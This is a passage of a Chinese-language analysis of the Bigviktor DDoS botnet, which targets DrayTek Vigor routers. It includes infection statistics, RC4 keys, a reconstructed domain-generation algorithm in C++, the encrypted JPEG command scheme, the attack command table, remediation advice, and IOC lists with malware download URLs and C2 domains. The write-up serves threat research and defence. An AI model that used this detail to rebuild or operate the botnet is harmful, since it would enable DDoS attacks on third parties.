<p>DGA是双刃剑，在给作者逃避检测的同时，也给了安全人员机会抢注域名从而劫持僵尸网络的感染主机，我们注册了几个Bigviktor在6月份和7月份生成的域名(<code>workfrequentsentence.club, waitcornermountain.club</code>)，用来统计该Botnet的规模，目前我们观察到有900个左右的IP被感染。但从Bigviktor DGA域名的访问情况看目前其规模正在稳步扩张中。其日活跃Bot趋势入下图所示：<br>
<a href="__GHOST_URL__/content/images/2020/07/bigviktor.dns.req.png"><img src="__GHOST_URL__/content/images/2020/07/bigviktor.dns.req.m.png" class="kg-image"/></a></p>
<h4 id="bot">Bot地理位置分布</h4>
<p>被感染的设备IP区域分布如下：<br>
<a href="__GHOST_URL__/content/images/2020/07/bigvictor.geo.png"><img src="__GHOST_URL__/content/images/2020/07/bigvictor.geo.m.png" class="kg-image"/></a></p>
<p>这些IP的主要ASN分布如下：</p>
<pre><code>412 AS45899|VNPT_Corp
194 AS7552|Viettel_Group
190 AS18403|The_Corporation_for_Financing_&_Promoting_Technology
90 AS3462|Data_Communication_Business_Group
82 AS15525|Servicos_De_Comunicacoes_E_Multimedia_S.A.
66 AS8151|Uninet_S.A._de_C.V.
52 AS45903|CMC_Telecom_Infrastructure_Company
34 AS3352|Telefonica_De_Espana
28 AS17552|True_Internet_Co.,Ltd.
22 AS8881|1&1_Versatel_Deutschland_GmbH
</code></pre>
<h4 id="">被感染设备</h4>
<p>通过获取被感染设备80，8080，443端口web页面title，我们得知当前被感染DrayTek Vigor路由器版本分布为:</p>
<pre><code>269 Vigor 2960
107 Vigor 3900
87 Vigor 300B
</code></pre>
<h2 id="">逆向分析</h2>
<p>我们一共捕获了2个版本，其中第一个版本的bot 程序似乎有bug, 不能正常运行，本文以最新版本为例进行逆向分析。</p>
<h3 id="">样本信息</h3>
<pre><code>MD5:dd7c9d99d8f7b9975c29c803abdf1c33
ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped
Packer: None
</code></pre>
<p>总体来说，Bigviktor功能比较简单，运行时绑定本地端口实现单一实例，使用RC4算法解密敏感资源，其中包括了DGA所需要的词组信息，接着使用DGA基于这词组信息产生1000个C2域名，通过libcurl库向特定网址发出请求，测试网络连通。若网络正常则向C2域名请求<strong>s.jpeg</strong>资源验证C2的合法性；当通过了合法性测试后，再向C2 域名请求<strong>male.jpeg</strong> ,<strong>image.jpeg</strong>资源，进行DDos攻击。上述Bot行为可以分成辅助行为和核心行为俩大类，下文将从这个角度来剖析Bigviktor的实现。</p>
<h4 id="">辅助行为</h4>
<h6 id="1libcurl">1:使用libcurl库访问网络资源</h6>
<pre><code>DNS Option:
1.1.1.1,8.8.8.8
User-Agent Option:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
Accept Option:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
</code></pre>
<h6 id="261322">2:绑定端口61322实现单一实例</h6>
<p><a href="__GHOST_URL__/content/images/2020/07/bigviktor_single.png"><img src="__GHOST_URL__/content/images/2020/07/bigviktor_single.png" class="kg-image"/></a></p>
<h6 id="3rc4dga">3:RC4加密敏感资源，资源包括DGA所需的词组信息，白网址，升级文件存放路径等</h6>
<p><a href="__GHOST_URL__/content/images/2020/07/bigviktor_rc.png"><img src="__GHOST_URL__/content/images/2020/07/bigviktor_rc.png" class="kg-image"/></a></p>
<p>RC4密钥为</p>
<pre><code>DA B2 F1 F7 32 FD 03 BA 58 DB FF 53 8B F2 6F 01
02 FF 00 01 03 05 00 DE 02 FF 00 01 7C DF 92 91
</code></pre>
<p>以DGA产生domain所需的后缀词为例，密文如下</p>
<pre><code>00000000 34 f5 96 77 11 66 35 4f 1d ae b6 04 57 77 79 9d |4õ.w.f5O.®¶.Wwy.|
00000010 db 36 d4 a8 38 5a e2 9f 6a a2 79 bf 6a 6f bf 2f |Û6Ô¨8Zâ.j¢y¿jo¿/|
00000020 cb 84 63 d4 70 c7 64 11 c6 d0 71 b3 f0 bb 54 c9 |Ë.cÔpÇd.ÆÐq³ð»TÉ|
00000030 cc f7 50 60 e2 53 72 1a ae 87 61 17 88 b0 2a 04 |Ì÷P`âSr.®.a..°*.|
00000040 71 ec f8 3d cc 42 8b 28 27 81 9b 4d 80 0c 50 3f |qìø=ÌB.('..M..P?|
00000050 d5 01 4b 8d 62 48 7f 88 7f a0 09 b9 53 b0 a0 0d |Õ.K.bH... .¹S° .|
00000060 41 6c 59 cd 2a 42 36 f1 71 71 12 bf fd 59 66 52 |AlYÍ*B6ñqq.¿ýYfR|
00000070 b2 ab c4 1e c5 30 14 19 c8 08 82 ee 29 8c 54 ab |²«Ä.Å0..È..î).T«|
00000080 34 99 0e f1 15 c8 e6 69 5e 33 3c c7 c6 ee 44 8a |4..ñ.Èæi^3<ÇÆîD.|
00000090 c2 b4 7c 76 fc 08 cf cd 0c db 34 82 e0 08 40 52 |´|vü.ÏÍ.Û4.à.@R|
000000a0 07 ec d4 0e e9 57 ee 4f 2d 0b 7e 19 51 75 b4 10 |.ìÔ.éWîO-.~.Qu´.|
000000b0 3b 97 d8 29 64 aa 4b 5c 67 77 16 b6 36 4b 6d c2 |;.Ø)dªK\gw.¶6KmÂ|
000000c0 47 09 bd b0 a7 d4 43 21 2c e5 af 41 8a ea 25 dc |G.½°§ÔC!,å¯A.ê%Ü|
000000d0 fe d3 18 28 bc 19 07 19 cd f0 84 51 9e 6a 3e b1 |þÓ.(¼...Íð.Q.j>±|
000000e0 5f 2a e0 13 51 ba 62 46 26 83 86 63 0b ed ad be |_*à.QºbF&..c.í.¾|
000000f0 59 51 e7 0b cf a7 d0 1a 94 e8 ed c2 cc f2 21 17 |YQç.ϧÐ..èíÂÌò!.|
00000100 e5 7a b5 6f 84 66 8a a1 c1 18 52 cb 50 38 6b ea |åzµo.f.¡Á.RËP8kê|
00000110 4b 10 13 56 13 b4 9c b2 3b b4 3e 4c 3c cc 01 cc |K..V.´.²;´>L<Ì.Ì|
00000120 81 ab 13 97 6c 49 e7 85 54 5f d0 92 3f 9b 7d a8 |.«..lIç.T_Ð.?.}¨|
00000130 44 72 81 54 50 4f e1 7f b5 fd 1a 78 3b 14 e3 d4 |Dr.TPOá.µý.x;.ãÔ|
</code></pre>
<p>解密后</p>
<pre><code>00000000 61 72 74 00 00 00 00 00 00 00 00 00 00 00 00 00 |art.............|
00000010 63 6c 69 63 6b 00 00 00 00 00 00 00 00 00 00 00 |click...........|
00000020 63 6c 75 62 00 00 00 00 00 00 00 00 00 00 00 00 |club............|
00000030 63 6f 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 |com.............|
00000040 66 61 6e 73 00 00 00 00 00 00 00 00 00 00 00 00 |fans............|
00000050 66 75 74 62 6f 6c 00 00 00 00 00 00 00 00 00 00 |futbol..........|
00000060 69 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |in..............|
00000070 69 6e 66 6f 00 00 00 00 00 00 00 00 00 00 00 00 |info............|
00000080 6c 69 6e 6b 00 00 00 00 00 00 00 00 00 00 00 00 |link............|
00000090 6e 65 74 00 00 00 00 00 00 00 00 00 00 00 00 00 |net.............|
000000a0 6e 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |nl..............|
000000b0 6f 62 73 65 72 76 65 72 00 00 00 00 00 00 00 00 |observer........|
000000c0 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 |one.............|
000000d0 6f 72 67 00 00 00 00 00 00 00 00 00 00 00 00 00 |org.............|
000000e0 70 69 63 74 75 72 65 73 00 00 00 00 00 00 00 00 |pictures........|
000000f0 72 65 61 6c 74 79 00 00 00 00 00 00 00 00 00 00 |realty..........|
00000100 72 6f 63 6b 73 00 00 00 00 00 00 00 00 00 00 00 |rocks...........|
00000110 74 65 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 |tel.............|
00000120 74 6f 70 00 00 00 00 00 00 00 00 00 00 00 00 00 |top.............|
00000130 78 79 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 |xyz.............|
</code></pre>
<h6 id="4">4:通过访问特定网址测试网络连通性，获取当前日期</h6>
<p><a href="__GHOST_URL__/content/images/2020/07/bikviktor_white.png"><img src="__GHOST_URL__/content/images/2020/07/bikviktor_white.png" class="kg-image"/></a><br>
特定网址由RC4解密获得，</p>
<pre><code>jd.com weibo.com vk.com
csdn.net okezone.com office.com
xinhuanet.com babytree.com livejasmin.com
twitch.tv naver.com aliexpress.com
stackoverflow.com tribunnews.com yandex.ru
soso.com msn.com facebook.com
youtube.com baidu.com en.wikipedia.org
twitter.com amazon.com imdb.com
reddit.com pinterest.com ebay.com
tripadvisor.com craigslist.org walmart.com
instagram.com google.com nytimes.com
apple.com linkedin.com indeed.com
play.google.com espn.com webmd.com
cnn.com homedepot.com etsy.com
netflix.com quora.com microsoft.com
target.com merriam-webster.com forbes.com
tmall.com baidu.com qq.com
sohu.com taobao.com 360.cn
tianya.cn
</code></pre>
<p>访问这些网址中的一个，得到当前日期，这个时间将在DGA中使用。</p>
<pre><code>format %a, %d %b %Y
Fri, 10 Jul 2020
</code></pre>
<h4 id="">核心行为</h4>
<h6 id="1dgac2">1:使用DGA产生的C2域名</h6>
<p>域名格式为<code>[prefix.]verbe[-]adjective[-]noun.surfix</code>,[]中内容表示可选，其中prefix有40个词，verbe有100个词，adjective有525个词，noun有1522个词，surfix有20个词。算法实现如下</p>
<pre><code>void GenNewKey(uint32_t &key)
{
uint32_t tmp = key ^ (key << 13) ^ ((key ^ (uint32_t)(key << 13)) >> 17);
key = tmp ^ 32 * tmp;
};
string c2url;
GenNewKey(seed);
//1:prefix part
if (seed % 5 == 0)
{
GenNewKey(seed);
c2url += prefix[seed % 40];
c2url += ".";
}
//2:verbe part
GenNewKey(seed);
c2url += verbe[seed % 100];
GenNewKey(seed);
if (seed % 10 <= 1)
c2url += "-";
//3:adj part
GenNewKey(seed);
c2url += adj[seed % 525];
GenNewKey(seed);
if (seed % 10 <= 1)
c2url += "-";
//4:noun part
GenNewKey(seed);
c2url += noun[seed % 1522];
c2url += ".";
//5:surfix part
GenNewKey(seed);
c2url += surfix[seed % 20];
</code></pre>
<p>初始<strong>key</strong>是访问特定网址得到的日期按<code>%b %Y 00:00</code>格式生成字串后所计算SHA256值的前4字节，例如</p>
<pre><code>currtent date: Fri, 10 Jul 2020
format ---->Jul 2020 00:00
sha256 ---->6ac0f83915ed5d7b9bb7055723084df001b16a552d758de3c415f083f931ab8c
get first 4 bytes ----> key=0x6ac0f839
</code></pre>
<p>因此每个月的DGA doamin是不一样的，7月全部DGA domain见文章尾。以7月的key（0x6ac0f839）为例，生成的前5个domain</p>
<pre><code>c2url: decidefresh-county.in
c2url: payculturaltour.org
c2url: standvisiblereach.rocks
c2url: meanforwardcap.top
c2url: raisefitsize.rocks
</code></pre>
<p>观察实际数据包DNS请求序列(部分)，可以发现和算法生成的结果是一致的。<br>
<a href="__GHOST_URL__/content/images/2020/07/bigviktor_first5.png"><img src="__GHOST_URL__/content/images/2020/07/bigviktor_first5.png" class="kg-image"/></a></p>
<h6 id="2c2">2:获取当前存活的有效C2</h6>
<p>Bigviktor通过DGA生成1000个域名，然后从1000内的一个随机位置遍历到第1000个域名，若这个过程中没有有效的C2,再从第一个域名遍历到第1000个域名。为了保证网络的完全可控，不被他人窃取，Bigviktor会对s.jpeg文件做签名校验，只有通过了签名校验，这个C2才是有效的。<br>
<a href="__GHOST_URL__/content/images/2020/07/bigviktor_sjpeg.png"><img src="__GHOST_URL__/content/images/2020/07/bigviktor_sjpeg.png" class="kg-image"/></a></p>
<p>真实payload加密隐藏于jpeg<code>(s.jpeg;image.jpeg)</code>文件中，jpeg的结构为<strong>IMAGE DATA(16 BYTES):Half-RC4 KEY(16 BYTES):Ciphertext</strong>,每个样本都集成了一个Half-RC4 KEY用以和payload中的Half-RC4 key拼成完整的秘钥；一个硬编码的ECDSA256公钥用以验签解密后的payload。</p>
<pre><code>Half-RC4 KEY:
82 BC 09 D5 47 A9 37 27 8F ED F1 7B 29 2A FA 67
Pub KEY:
03 2F 37 51 43 1F A3 58 81 66 86 F7 BA 4C A2 30
45 2C 9B 9E 12 9A E9 97 CF 69 09 CF 7F 42 D4 97 88
</code></pre>
<p>以s.jpeg(md5:4c6d0bed21bc226dbaf4e6adc7402563)为例<br>
<a href="__GHOST_URL__/content/images/2020/07/bigviktor_de.png"><img src="__GHOST_URL__/content/images/2020/07/bigviktor_de.png" class="kg-image"/></a></p>
<p>拼接出完整RC4密钥</p>
<pre><code>Half RC4 KEY from s.jpeg + Half Rc4 from sample
------------------------------------------------------
46 00 B2 65 B0 3F 97 7F CF CB 65 31 1F D2 B3 A0
82 BC 09 D5 47 A9 37 27 8F ED F1 7B 29 2A FA 67
</code></pre>
<p>解密Ciphertext得到<br>
<a href="__GHOST_URL__/content/images/2020/07/bigvitor_deres.png"><img src="__GHOST_URL__/content/images/2020/07/bigvitor_deres.png" class="kg-image"/></a></p>
<p>当校验成功后，就得到了有效C2，具体校验过程如下</p>
<ul>
<li>数字签名校验</li>
<li>Plaintext[2] ==\x00,Plaintext[3] ==\x09</li>
<li>Plaintext中的C2与请求s.jpeg的C2是否一致</li>
</ul>
<h6 id="3c2">3:向C2请求具体任务</h6>
<p>Bot获得有效C2后，会向C2请求image.jpeg资源<br>
<a href="__GHOST_URL__/content/images/2020/07/bigviktor_task.png"><img src="__GHOST_URL__/content/images/2020/07/bigviktor_task.png" class="kg-image"/></a></p>
<p>同样image.jpeg也需要解密和校验，成功校验后，Bot就根据image.jpeg的指令进行相应的DDos攻击或update。Bigviktor一共支持8种指令,</p>
<table>
<thead>
<tr>
<th>cmd</th>
<th>cmd description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>null</td>
</tr>
<tr>
<td>2</td>
<td>connect attack</td>
</tr>
<tr>
<td>3</td>
<td>tcp syn attack with fixed source ip</td>
</tr>
<tr>
<td>4</td>
<td>tcp syn attack with random source ip</td>
</tr>
<tr>
<td>6</td>
<td>update</td>
</tr>
<tr>
<td>7</td>
<td>tcp syn attack with random sourceip from male.jpeg</td>
</tr>
<tr>
<td>8</td>
<td>tcp syn attack with random sourceip from male.jpeg</td>
</tr>
<tr>
<td>9</td>
<td>null</td>
</tr>
</tbody>
</table>
<p>以6月份的一个payload,image.jpeg(2e8c223f8ac1f331c36acd32ee949f6f)为例,</p>
<p>原始数据为<br>
<a href="__GHOST_URL__/content/images/2020/07/bigviktor_raw.png"><img src="__GHOST_URL__/content/images/2020/07/bigviktor_raw.png" class="kg-image"/></a></p>
<p>解密Ciphertext得到<br>
<a href="__GHOST_URL__/content/images/2020/07/bigviktor_attack.png"><img src="__GHOST_URL__/content/images/2020/07/bigviktor_attack.png" class="kg-image"/></a></p>
<p>可知Bot将进行connect攻击，攻击目标为202.162.108.55，端口80,这和抓包结果是一致的。<br>
<a href="__GHOST_URL__/content/images/2020/07/bigviktor_pcap.png"><img src="__GHOST_URL__/content/images/2020/07/bigviktor_pcap.png" class="kg-image"/></a></p>
<h2 id="">处置建议</h2>
<p>我们建议网络管理人员排查上述DrayTek Vigor路由器设备，及时升级固件。通过检查设备是否有未知进程绑定61322端口来判定感染与否，Bigviktor没有持久化的机制，因此杀死相应进程，删除对应文件就可以修复。</p>
<h2 id="">联系我们</h2>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab">twitter</a> 或者在微信公众号 360Netlab上联系我们。</p>
<h2 id="ioc">IOC</h2>
<p>Sample MD5</p>
<pre><code>7b1ab096b63480864df7b0dcfebe2e2e
dd7c9d99d8f7b9975c29c803abdf1c33
</code></pre>
<p>URL</p>
<pre><code>http://91[.219.75.87/binary
http://91[.219.75.87/arm7
</code></pre>
<p>C2-IP</p>
<pre><code>151.80.235.228 AS16276|OVH_SAS France|Hauts-de-France|Gravelines
</code></pre>
<p>C2-Domain</p>
<pre><code>useinsidehigh.com:80
writeseparateliterature.com:80
</code></pre>
<p>Payload</p>
<pre><code>4c6d0bed21bc226dbaf4e6adc7402563 s.jpeg
2e8c223f8ac1f331c36acd32ee949f6f image.jpeg
</code></pre>
<p>7月份DGA Domain</p>
<pre><code>decidefresh-county.in
payculturaltour.org
standvisiblereach.rocks
meanforwardcap.top
raisefitsize.rocks
www2.tellapartspring.realty
expectrawknee.com
decidesurepizza.rocks
img.leavetall-sky.nl
dodifferentuser.fans
become-thatspare.futbol
play-better-parent.observer
telldesignerpanic.art
appear-weakrate.observer
support.showremote-conclusion.fans
raiseover-piano.org
meancoolpick.pictures
bringjunior-bench.art
ssl.remainunhappyboy.info
readafterask.net
leavelogicalambition.tel
takedramaticprimary.rocks
test.likerarereality.xyz
cloud.runconstantnerve.fans
stopseafemale.observer
offer-individualthroat.fans
meanthickprivate.info
turnfederalemploy.art
tellcold-top.one
mail2.comefirmdeposit.nl
liketypicalcorner.net
buyliving-balance.observer
video.continueleft-contact.nl
askformer-mission.top
learnaggressive-she.org
email.hearlateformal.in
keepunitedbirth.art
turntruebreakfast.futbol
cutmaingolf.art
dev.likefemalepush.rocks
dev.holdfeelingpreference.click
findvariousfish.tel
tftp.seempowerful-south.art
video.comepureproposal.link
watchcapable-sample.rocks
growborn-law.click
bringefficientvalue.one
beginlower-man.nl
speakoriginalworld.one
putmoneyearth.fans
have-wastebutton.futbol
findwildcollar.info
livepotentialdebt.pictures
mail.pull-capableprofession.tel
passbornsafe.rocks
spendcuteform.realty
walkgrandspot.pictures
take-scaredline.art
set-expensiveice.click
getnovelscratch.in
look-existinghang.com
cloud.considerunhappymain.click
www.hold-futuredisk.rocks
openlegalbus.fans
blog.hearfreshmachine.tel
mail.callthatcouple.click
leaveswimming-cold.one
go-healthyproject.observer
meanconnect-construction.nl
walknervous-video.nl
becomelast-western.com
remembersquare-sale.info
provide-roundwill.com
blog.standswimming-double.rocks
secure.seem-famoushire.tel
speakotheropening.org
holdsudden-psychology.top
hold-frontfilm.one
bringbusinesshold.realty
giveacceptablepay.link
allowremoteindependent.pictures
helpsillyhate.click
knowyellowinstruction.info
seeinternationalmachine.art
considermalescrew.click
paylife-camp.tel
makeold-course.com
www2.becomewarmrefrigerator.nl
download.decidewisecourt.rocks
lose-originalemployer.observer
leadeastprompt.futbol
changeconfidentboot.art
waitcornermountain.club
ww1.understandlegal-cancel.link
suggest-global-other.realty
changeluckytitle.com
playprivateconstruction.art
blog.mean-anyimagination.info
decide-currentemployment.top
considerupsetvirus.fans
letcornercurve.fans
talkfamousfather.club
findvastcoat.org
mail2.use-farbitter.org
remember-chemical-status.tel
vpn.try-signalsort.org
addhappyswim.xyz
standsuddeninternal.tel
raiseanxiousguitar.one
speak-weekly-hire.org
needclosetonight.realty
mail.fallfrequent-affair.fans
startpregnantreference.pictures
appeartight-fun.fans
cutplastic-drag.club
worksea-assumption.com
buytrainingdrag.one
needfemalebrown.futbol
want-mountainform.observer
pop.getless-remove.pictures
mail2.runelectronic-collar.fans
raiselogicalpin.tel
believeextraorganization.realty
remote.servepleasant-cloud.pictures
allowotherdesire.in
set-partycount.realty
diecutemuscle.net
start-sexualfactor.net
dienearbychart.xyz
ns1.requireanxiousflight.nl
a.happenaction-item.tel
secure.reportperfectyouth.xyz
runtraditionalact.observer
becomeunfairsugar.info
news.growfrontclimate.tel
images.expectpurplewriter.pictures
images.seemmaterialvegetable.pictures
runsuitablestruggle.xyz
appearfullfoundation.tel
sellharddead.in
continuebothpipe.com
watchvegetabledatabase.click
stopmiddleapple.net
use-sweetdebt.rocks
meet-purechurch.club
hearduewarning.nl
adddifferent-reference.nl
download.takehousemom.click
buildrawcloset.xyz
putactualsecond.realty
move-muchagreement.club
vpn.letfirst-concept.observer
th.sitthin-character.rocks
www2.dieseparatefeed.in
blog.buyextremeatmosphere.click
believelegalscale.info
buildappropriatestable.net
watch-coolproject.fans
doalternativeseries.link
pull-inevitable-medicine.org
staybroadcost.fans
seeofficial-thanks.net
readlostdiscount.art
serve-redtour.fans
showleatherloss.click
x.putweird-situation.net
loseanotherdisease.realty
mail2.become-alternativeside.futbol
setimpressive-sign.click
x.appearavailablebad.realty
startunusual-status.futbol
noc.waituglyclick.org
download.buildthinkreserve.fans
expectvegetablecurrency.xyz
ftp.spenddirtyrepublic.tel
email.die-prettycandle.art
pop.make-active-pass.click
lovebeginningvast.realty
includeotherwisefamily.xyz
work-historicalarm.nl
passclosescience.pictures
a.sitloud-damage.info
addinternalfreedom.futbol
set-okconcert.realty
requireenvironmentalhelp.nl
download.need-beginningfinal.art
offerdecent-twist.in
dieoriginalpeak.futbol
learnremarkabledefinition.futbol
killembarrassedclient.net
killterriblerecord.tel
images.createrichdisplay.observer
holdlowerfunny.fans
sitsorrycash.realty
playprevioustrain.net
changewestbar.net
showaggressivedamage.nl
feelnecessary-counter.click
liveproudconsequence.realty
try-decent-joint.info
trylatter-trainer.com
showsick-crack.tel
help-animal-boyfriend.org
followpropercollar.nl
take-cultural-white.futbol
workindividualpull.click
dosecuregeneral.link
likeseaprogress.art
worktrueamount.info
pullmalechurch.info
loseseaconstruction.realty
addliveruin.top
writerelevanteast.com
helpsquare-ticket.org
start-unlikelyspring.top
cutrepresentativeslice.xyz
seemiddle-cigarette.in
stopafternoonhistory.xyz
comedrunkindustry.rocks
workenvironmentalthing.club
considerover-expression.xyz
reportcreative-advance.rocks
remainfemaleblind.observer
leavewildcarry.observer
web.mean-businessgreen.observer
followworkstar.futbol
allowamazing-operation.click
gw.havefreshversion.org
remembergrosssingle.click
likecutedevelopment.info
images.showwest-funeral.club
letclassicrefrigerator.in
sayinterestingshow.com
writesufficientglad.click
test.considerusefuldrawing.art
liveslowstar.link
comebudget-improvement.com
setconfidentessay.link
happenunablerock.tel
sitapartdepartment.org
continueopenmap.com
test.writepretendcheek.one
build-representative-score.club
happen-eithermajor.realty
ssl.passplasticdiscussion.observer
killbestinevitable.futbol
pullelectricaltone.observer
img.movemeanadvertising.in
startsuccessfulsick.link
createinevitablelayer.one
setwinterfee.pictures
allow-exactsport.info
helpapartpossession.org
gw.appearsuchquality.com
becomefutureleather.xyz
use-leastmarriage.xyz
includebestjacket.rocks
cam.turn-federalnovel.tel
meetelectricalmain.click
pop.needmajor-pin.com
noc.sit-royaltrouble.net
offerwildincome.top
remote.heareveningwhole.xyz
serveokexchange.click
come-totalsignature.club
offerlowersimple.one
test.cutforwardnasty.nl
livemassive-give.org
ssl.understandweird-chocolate.info
becomeparkingpositive.fans
know-excitingappointment.realty
playtemporaryhand.tel
growdaughtercross.in
reportculturaldistance.club
decide-physicalexam.com
sell-ordinaryradio.com
buy-big-reason.org
ww1.bedependenthospital.top
th.continuenexttop.in
feelenoughmedicine.net
continueflat-meet.org
hearresidentworry.futbol
servesufficientplace.art
x.leadnervouspresident.info
suggestminorconcept.link
img.providecomprehensivenerve.nl
winloosefeedback.nl
findoppositebonus.one
change-evenexplanation.link
walkdeadluck.futbol
sitbusiness-note.rocks
happenfungather.fans
offer-characterdiamond.xyz
know-first-background.link
dev.show-trainingdouble.in
keepmanycard.top
ns1.makechance-chapter.click
reportsparegear.one
images.remainthin-wall.observer
lovesuperconsideration.rocks
www.dostraightcalm.observer
letfutureslide.one
findmediumlog.net
require-globalfix.fans
keep-forwardsomewhere.link
bringparkingperception.observer
web.fallleastcamera.top
showparkingconcern.futbol
find-worksun.one
web.tellaccuratefoot.club
tellleft-scene.observer
appeartop-writing.link
likeextremecategory.info
learnheadexchange.realty
passlogicalminor.link
asktotalfile.in
watchasleeplight.futbol
bringpluscan.futbol
email.be-careful-midnight.one
video.offer-psychologicalknowledge.info
seemostuncle.realty
ftp.takelegalcourt.observer
followwillingpsychology.link
continueexactresponse.observer
shop.seeplentyboot.pictures
ns1.make-wonderful-hold.observer
pop.sayalonelight.realty
include-severe-society.click
followsuspiciousmoment.nl
tftp.includerepresentativepost.xyz
helpsuccessfultitle.top
includevisualconsideration.observer
bringafraidslide.realty
learnchancetelephone.info
movesmallentrance.org
give-superdate.nl
requiredaymoment.in
likeactionif.futbol
noc.likeemotionalpreference.one
openhorror-tie.realty
expectevenmilk.top
meanactioninternet.link
images.begreen-simple.one
includeleather-she.pictures
talkawareissue.club
sayindependentplayer.xyz
changeillegalriver.info
seelongthroat.observer
playanxiousrole.info
feelminutedegree.observer
follownastymountain.rocks
tellprettyegg.org
passactualstable.observer
mail2.leadbestmistake.observer
help-aliveresearch.info
runsalt-college.com
tellbest-necessary.link
requireannualpolice.pictures
pullyoungview.realty
makedarkcontract.observer
shop.help-healthythought.net
remain-practicaloutside.observer
sellenvironmental-harm.futbol
stop-thismilk.info
includeuniquecandle.pictures
thinkrelevantchildhood.org
webmail.waitspecialistcompany.in
seem-brilliant-device.futbol
takerightpartner.observer
mail.useplanebus.fans
thinkperfectcompany.tel
appearpresentshirt.realty
bringupstairscommunity.club
keep-electronicinteraction.in
fallnice-blue.link
sendappropriatefuneral.info
tellawaydesign.top
tftp.runswimmingimprovement.fans
lookthenpositive.pictures
moveplastic-history.top
havewildhit.com
cloud.playsouthnormal.nl
setswimmingsuit.in
movepositivemove.link
playgrosslandscape.art
createnextguest.rocks
gominutepie.club
killfemaleprofile.click
spendimmediaterush.club
openweekly-watch.one
dev.believedesignercharacter.in
try-redcommittee.com
tftp.providestill-thing.net
includemothermiddle.realty
smtp.writebeginningitem.xyz
open-proudprinciple.com
noc.expectbravewonder.art
readcivil-slip.click
go-motorprofessor.click
feeldramaticdig.pictures
beexcellentangle.xyz
startafterchemistry.xyz
vpn.give-formerhat.top
writefunnyassignment.fans
webmail.buy-roughcigarette.fans
giverawdistrict.xyz
come-historicalinstruction.org
mail2.tellannualarrival.observer
server.find-simpleincrease.in
img.live-informal-desk.futbol
buildefficientstaff.rocks
seeguiltybike.futbol
allowtypicalmonitor.link
look-famousexcitement.nl
lead-awaybar.observer
readdresssense.link
www1.rememberlocalgift.in
buildusualrisk.observer
work-extremestop.link
read-educationalpanic.net
expectagohusband.in
includepowerfulworker.info
losewholeauthor.com
work-wastedivide.in
sellbig-test.org
require-livingmeaning.com
spendusedchildhood.click
needvaluableanywhere.pictures
likesoftbowl.net
helpcivil-net.org
callupstairseconomy.link
readkitchenmotor.click
fallcalmanimal.pictures
email.takefederal-leading.xyz
wait-rareenergy.com
needsaltswim.click
winlower-command.in
tellhugecandidate.one
reportrawchapter.xyz
beginaccurateoriginal.tel
setshotguard.one
remote.turnpartyengineer.club
buyhousecomfortable.com
turn-successful-official.observer
tftp.walkmediumgroup.futbol
fallpriorshopping.futbol
waitpleasantquality.rocks
showscaredsquare.one
stop-closecard.tel
moveminimum-self.rocks
support.followholidayairline.observer
playdarksociety.top
sitenoughdetail.net
becomeaccurateuser.rocks
workheavybrief.fans
setafteradult.net
makewhat-title.club
hear-relative-philosophy.observer
keepmoneygrade.pictures
spend-firstinterest.art
asklocalnasty.link
talk-alive-family.nl
sell-significantoccasion.top
bedressfold.fans
waithappysell.top
lead-lostsurround.link
findinternalmain.realty
think-legalresult.link
www2.dofullhold.club
beordinarynews.art
pass-wineunit.nl
appearemergencytruth.info
turndistinctscreen.nl
leadfederalwater.top
think-capable-concentrate.in
bringdrunk-monitor.com
set-joint-equivalent.com
understandinnercompany.art
loveleather-extent.click
trypatient-detail.one
appearminutehunt.one
askinteresting-daughter.club
ssl.expectupsetif.club
rundesperatebook.tel
speakdressinternet.com
needcuriousfootball.top
noc.stayaccuraterelative.link
bringshotdemand.com
movefreenature.com
ww1.changeshotprofit.pictures
standsexual-instruction.com
readweakpoint.realty
growrealistictext.realty
knowunfairprocedure.futbol
appear-leading-jacket.observer
news.losefairsuit.top
pullleading-promotion.top
looklessparent.xyz
likeoutsidepresence.one
webmail.talk-normalred.link
look-small-image.org
show-clean-command.art
startfriendlyconstant.info
lookwholebelt.xyz
learn-sweetcream.top
dieeitherimage.com
suggestfunny-salt.link
sithealthymembership.info
playculturalresponsibility.com
saygeneralprize.pictures
appearhonestcup.org
begin-leftspare.one
believepublicpermit.in
mail2.lookcreativeintroduction.in
fall-capablepersonal.in
hearnorth-fortune.com
learncuriousideal.link
remote.havecompletesoil.net
dosmoothhousing.info
reachinternationalchapter.one
understandafternoon-oven.art
provideenoughrich.one
web.showplanegrandfather.in
report-existinginstruction.tel
dodecent-entry.in
becomestreetnose.info
video.gomaterialcap.realty
killtemporarybrush.com
th.lookpracticalteacher.one
hear-basiccrew.realty
talkexpertbirthday.realty
mail2.get-evenversion.art
comeadultfamily.art
smtp.understandillegal-great.one
img.addangrylip.in
stopsilvernews.nl
continue-mentaleffort.xyz
dieafternoonvisual.click
trywhite-juice.club
ask-betterequipment.nl
go-awareinflation.rocks
provideeducationaltie.link
loveunfairlow.org
buildnational-preference.realty
readvariousengineer.one
learndry-possible.click
expectunlikelygrand.info
raise-weekly-till.net
take-rare-figure.xyz
seeplasticbeing.click
leavekindeducation.club
includecorrectmembership.futbol
continueinitialgrocery.realty
workrelevant-tackle.observer
feelinternal-grandfather.link
playsafeunion.link
know-deep-brick.nl
offerillegaldrink.fans
writeoldpolice.one
offerdowntown-stand.top
spendopeningchart.realty
losefewmouth.org
staymaterialcash.observer
sitpastgirl.futbol
providetraditionalanybody.realty
buildnicelake.one
www2.killnumerousdriver.nl
haveappropriatewhite.realty
dovegetableguard.tel
mail.sendconsistentsafety.info
remember-independentstorm.net
startequivalentship.org
think-leftcapital.pictures
work-basicexpert.info
considerhonest-north.nl
a.callresponsible-difference.observer
walktimefuneral.one
allowroundminute.xyz
gounable-administration.tel
th.sendsilverscale.link
pull-particular-trainer.net
movegreengrowth.futbol
rununhappysecretary.fans
leaveangryextreme.link
loseeast-possibility.pictures
live-prettyhalf.fans
images.cutnegativeentrance.club
beginslight-application.nl
